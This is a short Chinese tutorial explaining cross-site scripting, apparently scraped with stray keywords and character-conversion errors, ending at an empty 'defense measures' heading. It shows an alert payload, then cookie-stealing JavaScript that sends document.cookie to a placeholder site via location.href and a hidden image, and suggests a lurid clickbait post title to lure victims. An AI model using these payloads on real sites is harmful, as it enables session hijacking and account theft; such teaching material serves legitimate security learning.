1、XSS攻擊原理 javascript
XSS是什麼?它的全名是:Cross-site scripting,爲了和CSS層疊樣式表區分因此取名XSS。是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它容許惡意用戶將代碼注入到網頁上,其餘用戶在觀看網頁時就會受到影響。這類攻擊一般包含了HTML以及用戶端腳本語言。 html
XSS攻擊的主要目的則是,想辦法獲取目標攻擊網站的cookie,由於有了cookie至關於有了seesion,有了這些信息就能夠在任意能接進互聯網的pc登錄該網站,並以其餘人的生份登錄,作一些破壞。預防措施,防止下發界面顯示html標籤,把</>等符號轉義 java
舉例:
上面的代碼就是輸入一個網絡分享的圖片,我在src中直接寫入了javascript:alert('xss');操做成功後生成帖子,用IE六、7的用戶打開這個我發的這個帖子就會出現下圖的alert('xss')彈窗。 如圖:
固然我會將標題設計的很是吸引人點擊,好比 「陳冠希豔照又有流出2012版(20P無碼)」 ,這樣若是我將裏面的alert換成惡意代碼,好比:
location.href='http://www.xss.com?cookie='+document.cookie’;或者<a href='http://www.xss.com?cookie='+document.cookie>。用戶的cookie我也拿到了,若是服務端session沒有設置過時的話,我之後甚至拿這個cookie而不需用戶名密碼,就能夠以這個用戶的身份登陸成功了。
這裏的location.href只是處於簡單這樣作,若是作了跳轉這個帖子很快會被管理員刪除,可是若是我寫以下代碼,而且帖子的內容也是比較真實的,說不定這個帖子就會禍害不少人: 瀏覽器
var img = document.createElement('img'); img.src='http://www.xss.com?cookie='+document.cookie; img.style.display='none'; document.getElementsByTagName('body')[0].appendChild(img);
這樣就神不知鬼不覺的把當前用戶的cookie發送給了個人惡意站點,個人惡意站點經過獲取get參數就拿到了用戶的cookie。固然咱們能夠經過這個方法拿到用戶各類各樣的數據。安全
2、防護措施cookie